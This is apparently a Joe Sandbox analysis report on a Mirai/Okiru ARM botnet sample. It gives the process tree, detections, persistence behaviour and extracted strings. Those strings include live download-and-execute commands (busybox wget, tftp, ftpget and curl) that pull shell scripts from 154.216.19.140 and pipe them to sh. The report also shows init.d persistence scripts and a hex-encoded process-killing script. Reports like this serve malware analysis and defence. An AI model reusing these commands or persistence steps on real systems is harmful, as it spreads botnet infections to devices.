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Linux Analysis Report
arm.nn.elf

Overview

General Information

Sample name:	arm.nn.elf
Analysis ID:	1526568
MD5:	fa572b646bbb73d97a1bb5e4ac38883f
SHA1:	ed43abbd7a464ffedfe22099c2c33af3cbcbd70d
SHA256:	f52cf4400acc178aa397fee66c52ac0bc61b1435968c2b76bd79229bac28409d
Tags:	user-elfdigest
Infos:

Detection

Mirai, Okiru

Score:	80
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Yara detected Mirai

Yara detected Okiru

Drops files in suspicious directories

Sample tries to persist itself using /etc/profile

Sample tries to persist itself using System V runlevels

Sample tries to set files in /etc globally writable

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "chmod" command used to modify permissions

Executes the "mkdir" command used to create folders

Executes the "systemctl" command used for controlling the systemd system and service manager

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Sample tries to set the executable flag

Sleeps for long times indicative of sandbox evasion

Uses the "uname" system call to query kernel version information (possible evasion)

Writes shell script file to disk with an unusual file extension

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1526568
Start date and time:	2024-10-06 11:43:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	arm.nn.elf
Detection:	MAL
Classification:	mal80.spre.troj.evad.linELF@0/10@0/0

Warnings

Skipping network analysis since amount of network traffic is too extensive

Runtime Messages

Command:	/tmp/arm.nn.elf
PID:	5427
Exit Code:	139
Exit Code Info:	SIGSEGV (11) Segmentation fault invalid memory reference
Killed:	False
Standard Output:
Standard Error:	qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

system is lnxubuntu20

arm.nn.elf (PID: 5427, Parent: 5352, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/arm.nn.elf

arm.nn.elf New Fork (PID: 5445, Parent: 5427)

arm.nn.elf New Fork (PID: 5461, Parent: 5427)

sh (PID: 5461, Parent: 5427, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl enable custom.service >/dev/null 2>&1"

sh New Fork (PID: 5473, Parent: 5461)

systemctl (PID: 5473, Parent: 5461, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl enable custom.service

arm.nn.elf New Fork (PID: 5495, Parent: 5427)

sh (PID: 5495, Parent: 5427, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chmod +x /etc/init.d/mybinary >/dev/null 2>&1"

sh New Fork (PID: 5501, Parent: 5495)

chmod (PID: 5501, Parent: 5495, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod +x /etc/init.d/mybinary

arm.nn.elf New Fork (PID: 5502, Parent: 5427)

sh (PID: 5502, Parent: 5427, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "ln -s /etc/init.d/mybinary /etc/rcS.d/S99mybinary >/dev/null 2>&1"

sh New Fork (PID: 5504, Parent: 5502)

ln (PID: 5504, Parent: 5502, MD5: e933cf05571f62c0157d4e2dfcaea282) Arguments: ln -s /etc/init.d/mybinary /etc/rcS.d/S99mybinary

arm.nn.elf New Fork (PID: 5505, Parent: 5427)

sh (PID: 5505, Parent: 5427, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "echo \"#!/bin/sh\n# /etc/init.d/arm.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting arm.nn.elf'\n /tmp/arm.nn.elf &\n wget http://154.216.19.140/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping arm.nn.elf'\n killall arm.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/arm.nn.elf"

arm.nn.elf New Fork (PID: 5507, Parent: 5427)

sh (PID: 5507, Parent: 5427, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chmod +x /etc/init.d/arm.nn.elf >/dev/null 2>&1"

sh New Fork (PID: 5509, Parent: 5507)

chmod (PID: 5509, Parent: 5507, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod +x /etc/init.d/arm.nn.elf

arm.nn.elf New Fork (PID: 5510, Parent: 5427)

sh (PID: 5510, Parent: 5427, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"

sh New Fork (PID: 5512, Parent: 5510)

mkdir (PID: 5512, Parent: 5510, MD5: 088c9d1df5a28ed16c726eca15964cb7) Arguments: mkdir -p /etc/rc.d

arm.nn.elf New Fork (PID: 5513, Parent: 5427)

sh (PID: 5513, Parent: 5427, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "ln -s /etc/init.d/arm.nn.elf /etc/rc.d/S99arm.nn.elf >/dev/null 2>&1"

sh New Fork (PID: 5515, Parent: 5513)

ln (PID: 5515, Parent: 5513, MD5: e933cf05571f62c0157d4e2dfcaea282) Arguments: ln -s /etc/init.d/arm.nn.elf /etc/rc.d/S99arm.nn.elf

arm.nn.elf New Fork (PID: 5516, Parent: 5427)

arm.nn.elf New Fork (PID: 5518, Parent: 5516)

arm.nn.elf New Fork (PID: 5520, Parent: 5516)

arm.nn.elf New Fork (PID: 5679, Parent: 5516)

arm.nn.elf New Fork (PID: 5688, Parent: 5679)

arm.nn.elf New Fork (PID: 5742, Parent: 5516)

arm.nn.elf New Fork (PID: 5751, Parent: 5742)

arm.nn.elf New Fork (PID: 5807, Parent: 5516)

arm.nn.elf New Fork (PID: 5816, Parent: 5807)

arm.nn.elf New Fork (PID: 5880, Parent: 5516)

arm.nn.elf New Fork (PID: 5889, Parent: 5880)

arm.nn.elf New Fork (PID: 5970, Parent: 5516)

arm.nn.elf New Fork (PID: 5981, Parent: 5970)

arm.nn.elf New Fork (PID: 6018, Parent: 5516)

arm.nn.elf New Fork (PID: 6045, Parent: 6018)

arm.nn.elf New Fork (PID: 6103, Parent: 5516)

arm.nn.elf New Fork (PID: 6139, Parent: 6103)

arm.nn.elf New Fork (PID: 6131, Parent: 5516)

arm.nn.elf New Fork (PID: 6154, Parent: 6131)

arm.nn.elf New Fork (PID: 6146, Parent: 5516)

arm.nn.elf New Fork (PID: 6178, Parent: 6146)

arm.nn.elf New Fork (PID: 6168, Parent: 5516)

arm.nn.elf New Fork (PID: 6202, Parent: 6168)

arm.nn.elf New Fork (PID: 6192, Parent: 5516)

arm.nn.elf New Fork (PID: 6232, Parent: 6192)

udisksd New Fork (PID: 5439, Parent: 802)

dumpe2fs (PID: 5439, Parent: 802, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

gnome-session-binary New Fork (PID: 5474, Parent: 1588)

sh (PID: 5474, Parent: 1588, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-housekeeping

gsd-housekeeping (PID: 5474, Parent: 1588, MD5: b55f3394a84976ddb92a2915e5d76914) Arguments: /usr/libexec/gsd-housekeeping

udisksd New Fork (PID: 5478, Parent: 802)

dumpe2fs (PID: 5478, Parent: 802, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

systemd New Fork (PID: 5488, Parent: 5487)

snapd-env-generator (PID: 5488, Parent: 5487, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

udisksd New Fork (PID: 5529, Parent: 802)

dumpe2fs (PID: 5529, Parent: 802, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

udisksd New Fork (PID: 5618, Parent: 802)

dumpe2fs (PID: 5618, Parent: 802, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

udisksd New Fork (PID: 5619, Parent: 802)

dumpe2fs (PID: 5619, Parent: 802, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

udisksd New Fork (PID: 5620, Parent: 802)

dumpe2fs (PID: 5620, Parent: 802, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

udisksd New Fork (PID: 5689, Parent: 802)

dumpe2fs (PID: 5689, Parent: 802, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

udisksd New Fork (PID: 5723, Parent: 802)

dumpe2fs (PID: 5723, Parent: 802, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

udisksd New Fork (PID: 5752, Parent: 802)

dumpe2fs (PID: 5752, Parent: 802, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

udisksd New Fork (PID: 5789, Parent: 802)

dumpe2fs (PID: 5789, Parent: 802, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

udisksd New Fork (PID: 5818, Parent: 802)

dumpe2fs (PID: 5818, Parent: 802, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

udisksd New Fork (PID: 5858, Parent: 802)

dumpe2fs (PID: 5858, Parent: 802, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

udisksd New Fork (PID: 5891, Parent: 802)

dumpe2fs (PID: 5891, Parent: 802, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

udisksd New Fork (PID: 5937, Parent: 802)

dumpe2fs (PID: 5937, Parent: 802, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

udisksd New Fork (PID: 5985, Parent: 802)

dumpe2fs (PID: 5985, Parent: 802, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

udisksd New Fork (PID: 6297, Parent: 802)

dumpe2fs (PID: 6297, Parent: 802, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

udisksd New Fork (PID: 6342, Parent: 802)

dumpe2fs (PID: 6342, Parent: 802, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

udisksd New Fork (PID: 6371, Parent: 802)

dumpe2fs (PID: 6371, Parent: 802, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

udisksd New Fork (PID: 6375, Parent: 802)

dumpe2fs (PID: 6375, Parent: 802, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
arm.nn.elf	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
arm.nn.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author
5427.1.00007fbd2c017000.00007fbd2c032000.r-x.sdmp	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
5427.1.00007fbd2c017000.00007fbd2c032000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5889.1.00007fbd2c017000.00007fbd2c032000.r-x.sdmp	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
5889.1.00007fbd2c017000.00007fbd2c032000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5880.1.00007fbd2c017000.00007fbd2c032000.r-x.sdmp	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
5880.1.00007fbd2c017000.00007fbd2c032000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6045.1.00007fbd2c017000.00007fbd2c032000.r-x.sdmp	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
6045.1.00007fbd2c017000.00007fbd2c032000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5445.1.00007fbd2c017000.00007fbd2c032000.r-x.sdmp	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
5445.1.00007fbd2c017000.00007fbd2c032000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6018.1.00007fbd2c017000.00007fbd2c032000.r-x.sdmp	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
6018.1.00007fbd2c017000.00007fbd2c032000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: arm.nn.elf PID: 5427	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
Process Memory Space: arm.nn.elf PID: 5445	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
Process Memory Space: arm.nn.elf PID: 5880	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
Process Memory Space: arm.nn.elf PID: 5889	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
Process Memory Space: arm.nn.elf PID: 6018	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
Process Memory Space: arm.nn.elf PID: 6045	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
Click to see the 13 entries

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: arm.nn.elf

Avira: detected

Source: arm.nn.elf	String: (deleted)/proc/self/exe/proc/%s/exe/proc/opendir/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/./fd/socket/tmp/usr/lib/systemd//usr/sbin//usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd*deamon/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencodersystem/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/login/proc/self/statusTracerPid/proc/1/cgroupkubepods/proc filesystem not found. Exiting. gorilla botnet didnt like this honeypot..../etc/motdw%s
Source: arm.nn.elf	String: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://154.216.19.140/lol.sh -O- \| sh;/bin/busybox tftp -g http://154.216.19.140/ -r lol.sh -l- \| sh;/bin/busybox ftpget http://154.216.19.140/ lol.sh lol.sh && sh lol.sh;curl http://154.216.19.140/curl.sh -o- \| sh154.216.19.140GET /dlr. HTTP/1.0

Source: /tmp/arm.nn.elf (PID: 5427)

Socket: 0.0.0.0:38242

Jump to behavior

Source: arm.nn.elf, profile.12.dr, inittab.12.dr, arm.nn.elf.36.dr, bootcmd.12.dr, mybinary.12.dr, custom.service.12.dr	String found in binary or memory: http://154.216.19.140/
Source: arm.nn.elf	String found in binary or memory: http://154.216.19.140/curl.sh
Source: arm.nn.elf	String found in binary or memory: http://154.216.19.140/lol.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: (deleted)/proc/self/exe/proc/%s/exe/proc/opendir/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/./fd/socket/tmp/usr/lib/systemd//usr/sbin//usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd*deamon/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencodersystem/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresha
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://154.216.19.140/lol.sh -O- \| sh;
Source: Initial sample	String containing 'busybox' found: /bin/busybox tftp -g http://154.216.19.140/ -r lol.sh -l- \| sh;
Source: Initial sample	String containing 'busybox' found: /bin/busybox ftpget http://154.216.19.140/ lol.sh lol.sh && sh lol.sh;
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://154.216.19.140/lol.sh -O- \| sh;/bin/busybox tftp -g http://154.216.19.140/ -r lol.sh -l- \| sh;/bin/busybox ftpget http://154.216.19.140/ lol.sh lol.sh && sh lol.sh;curl http://154.216.19.140/curl.sh -o- \| sh154.216.19.140GET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/arm.nn.elf (PID: 5445)	SIGKILL sent: pid: 792, result: successful	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5445)	SIGKILL sent: pid: 884, result: successful	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5445)	SIGKILL sent: pid: 1944, result: successful	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5445)	SIGKILL sent: pid: 3181, result: successful	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5445)	SIGKILL sent: pid: 3185, result: successful	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5445)	SIGKILL sent: pid: 5474, result: successful	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5889)	SIGKILL sent: pid: 5880, result: successful	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6045)	SIGKILL sent: pid: 6018, result: successful	Jump to behavior

Source: classification engine

Classification label: mal80.spre.troj.evad.linELF@0/10@0/0

Persistence and Installation Behavior

Sample tries to persist itself using /etc/profile

Source: /tmp/arm.nn.elf (PID: 5427)

File: /etc/profile

Jump to behavior

Sample tries to persist itself using System V runlevels

Source: /tmp/arm.nn.elf (PID: 5427)	File: /etc/rc.local	Jump to behavior
Source: /usr/bin/ln (PID: 5504)	File: /etc/rcS.d/S99mybinary -> /etc/init.d/mybinary	Jump to behavior
Source: /usr/bin/ln (PID: 5515)	File: /etc/rc.d/S99arm.nn.elf -> /etc/init.d/arm.nn.elf	Jump to behavior

Sample tries to set files in /etc globally writable

Source: /tmp/arm.nn.elf (PID: 5427)	File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 5501)	File: /etc/init.d/mybinary (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 5509)	File: /etc/init.d/arm.nn.elf (bits: - usr: rx grp: rx all: rwx)	Jump to behavior

Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/6232/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5660/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/6154/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5661/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5782/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5662/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5981/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5663/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5861/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5620/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/6192/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5618/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5816/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5937/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5619/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5818/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5655/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5656/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5733/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5657/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5658/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5659/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5736/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5858/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/6045/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/6243/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5352/cmdline	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5870/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/6168/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/6245/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/6244/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5751/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/6368/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5752/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/6202/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/320/cmdline	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5269/cmdline	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5742/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/6359/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5985/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/802/cmdline	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5744/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5745/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5789/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5746/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5944/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5747/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5748/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5749/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/6131/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/6296/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5681/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/6375/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5880/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/6297/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5640/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/6178/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5641/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5685/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5642/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/6371/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5797/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/6248/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5679/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5714/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5516/cmdline	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5837/status	Jump to behavior
